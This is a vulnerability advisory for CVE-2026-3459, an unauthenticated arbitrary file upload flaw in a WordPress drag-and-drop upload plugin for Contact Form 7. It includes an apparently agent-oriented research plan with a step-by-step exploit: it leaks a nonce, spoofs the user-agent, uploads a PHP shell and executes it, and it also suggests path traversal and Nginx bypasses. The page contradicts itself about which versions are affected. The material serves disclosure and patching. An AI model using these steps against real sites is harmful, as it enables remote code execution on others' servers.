CVE-2026-3459

Drag and Drop Multiple File Upload for Contact Form 7 <= 1.3.9.5 - Unauthenticated Arbitrary File Upload

highUnrestricted Upload of File with Dangerous Type
8.1
CVSS Score
8.1
CVSS Score
high
Severity
1.3.9.6
Patched in
1d
Time to patch

Description

The Drag and Drop Multiple File Upload - Contact Form 7 plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient file type validation in the 'dnd_upload_cf7_upload' function in versions up to, and including, 1.3.7.3. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible. This can be exploited if the form includes a multiple file upload field with ‘*’ as the accepted file type.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=1.3.9.5
PublishedMarch 5, 2026
Last updatedMarch 6, 2026

What Changed in the Fix

Changes introduced in v1.3.9.6

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2026-3459 - Unauthenticated Arbitrary File Upload in Drag and Drop Multiple File Upload for Contact Form 7 ## 1. Vulnerability Summary The **Drag and Drop Multiple File Upload for Contact Form 7** plugin (up to version 1.3.9.5) contains an unauthenticated arbitrary file upload …

Show full research plan

Research Plan: CVE-2026-3459 - Unauthenticated Arbitrary File Upload in Drag and Drop Multiple File Upload for Contact Form 7

1. Vulnerability Summary

The Drag and Drop Multiple File Upload for Contact Form 7 plugin (up to version 1.3.9.5) contains an unauthenticated arbitrary file upload vulnerability. The vulnerability exists in the dnd_upload_cf7_upload function, which handles AJAX-based file uploads.

The plugin fails to sufficiently validate file extensions on the server side when a Contact Form 7 [mfile] tag is configured with * as the accepted file type. While the client-side JavaScript (codedropz-uploader-jquery.js) performs regex checks against supported_type, an attacker can bypass these by sending a direct HTTP request to the AJAX endpoint with a malicious file (e.g., .php), leading to Remote Code Execution (RCE).

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Actions:
    • wp_ajax_nopriv_dnd_codedropz_upload (Unauthenticated)
    • wp_ajax_dnd_codedropz_upload (Authenticated)
  • Vulnerable Parameter: upload-file (Multipart file upload)
  • Required Parameters:
    • action: dnd_codedropz_upload
    • security: A valid WordPress nonce for the action dnd-cf7-security-nonce.
    • form_id: The ID of a Contact Form 7 form.
    • upload_name: The name of the mfile field in the form.
    • upload_folder: A random string (user-controlled) used to create the temporary directory.
  • Preconditions: A Contact Form 7 form must exist and contain an [mfile] tag. The vulnerability is most potent if the tag allows * or includes php.

3. Code Flow

  1. Entry Point: A POST request is sent to admin-ajax.php with action=dnd_codedropz_upload.
  2. Hook Registration: In inc/dnd-upload-cf7.php, the action is hooked:
    add_action( 'wp_ajax_nopriv_dnd_codedropz_upload', 'dnd_upload_cf7_upload' );
    
  3. Nonce Verification: The function dnd_upload_cf7_upload (inside inc/dnd-upload-cf7.php) verifies the security parameter using check_ajax_referer( 'dnd-cf7-security-nonce', 'security' ).
  4. Vulnerable Sink: The function processes the $_FILES['upload-file']. It retrieves the allowed file types from the form tag configuration. If the configuration is lax (e.g., *), it proceeds to move the file using move_uploaded_file into a directory structure based on the provided upload_folder:
    wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/{upload_folder}/{filename}.
  5. Lack of Extension Filtering: The server-side code relies on the configured whitelist and fails to enforce a hard blacklist against dangerous extensions like .php.

4. Nonce Acquisition Strategy

The plugin contains a secondary AJAX action _wpcf7_check_nonce that inadvertently leaks a valid nonce if an invalid one is provided.

  1. Target Action: _wpcf7_check_nonce
  2. Method: Send a POST request to /wp-admin/admin-ajax.php.
  3. Payload: action=_wpcf7_check_nonce&_ajax_nonce=any_garbage.
  4. Mechanism: In inc/dnd-upload-cf7.php, the function dnd_wpcf7_nonce_check is called:
    function dnd_wpcf7_nonce_check() {
        // ... blocks curl ...
        if( ! check_ajax_referer( 'dnd-cf7-security-nonce', false, false ) ){
            wp_send_json_success( wp_create_nonce( "dnd-cf7-security-nonce" ) );
        }
    }
    
    If the nonce check fails, it creates and returns a valid nonce for dnd-cf7-security-nonce.
  5. Constraints: The function explicitly checks for the curl User-Agent string and blocks it. The exploit agent must use a standard browser User-Agent.

5. Exploitation Strategy

Step 1: Leak the Nonce

Use the http_request tool to trigger the nonce leak.

  • URL: http://vulnerable-site.com/wp-admin/admin-ajax.php
  • Method: POST
  • Headers:
    • Content-Type: application/x-www-form-urlencoded
    • User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
  • Body: action=_wpcf7_check_nonce&_ajax_nonce=12345
  • Expected Response: {"success":true,"data":"[10_digit_nonce]"}

Step 2: Prepare the PHP Payload

Create a simple PHP shell (e.g., <?php echo "EXPLOIT_SUCCESS"; phpinfo(); ?>).

Step 3: Upload the File

Perform a multipart POST request.

  • URL: http://vulnerable-site.com/wp-admin/admin-ajax.php
  • Method: POST
  • Headers:
    • User-Agent: Mozilla/5.0 ... (Non-curl)
  • Multipart Data:
    • action: dnd_codedropz_upload
    • security: [leaked_nonce]
    • form_id: 1 (or the ID of the created CF7 form)
    • upload_name: your-file
    • upload_folder: attacker_dir_123
    • upload-file: [binary content of shell.php]

Step 4: Access the Shell

The file is uploaded to the temporary directory.

  • Path: /wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/attacker_dir_123/shell.php

6. Test Data Setup

  1. Install Contact Form 7: Ensure Contact Form 7 is active.
  2. Create Form: Use WP-CLI to create a form with the [mfile] tag.
    wp post create --post_type=wpcf7_contact_form --post_title="Exploit Form" --post_status=publish --post_content='[mfile your-file filetypes:*][submit "Send"]'
    
  3. Get Form ID: Note the ID returned by the previous command.
  4. Create Page: Embed the form in a public page.
    wp post create --post_type=page --post_title="Upload Page" --post_status=publish --post_content='[contact-form-7 id="[ID]"]'
    

7. Expected Results

  • Nonce Leak: The _wpcf7_check_nonce request returns a JSON object where data is a 10-character string.
  • Upload: The dnd_codedropz_upload request returns {"success":true,...}.
  • Execution: Navigating to http://vulnerable-site.com/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/attacker_dir_123/shell.php returns the string EXPLOIT_SUCCESS and the phpinfo() output.

8. Verification Steps

  1. File System Check:
    ls -R /var/www/html/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/
    
    Confirm shell.php exists in the attacker_dir_123 subdirectory.
  2. Check Access Log: Verify the HTTP 200 status code for the shell execution.

9. Alternative Approaches

  • Lax Configuration: If the form does not use *, attempt to find a form that allows zip or txt. If the server-side validation is solely dependent on the filetypes attribute, and the plugin allows client-controlled blacklist-types (seen in codedropz-uploader-jquery.js), try omitting or spoofing the blacklist in the AJAX request.
  • Path Traversal: Check if upload_folder is vulnerable to path traversal (e.g., ../../), which might allow bypassing the .htaccess file created in the wp_dndcf7_uploads root.
  • Nginx Environment: The plugin relies on .htaccess to block .php execution in the upload directory. On Nginx servers, these rules are ignored, making RCE trivial even with the protection active.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.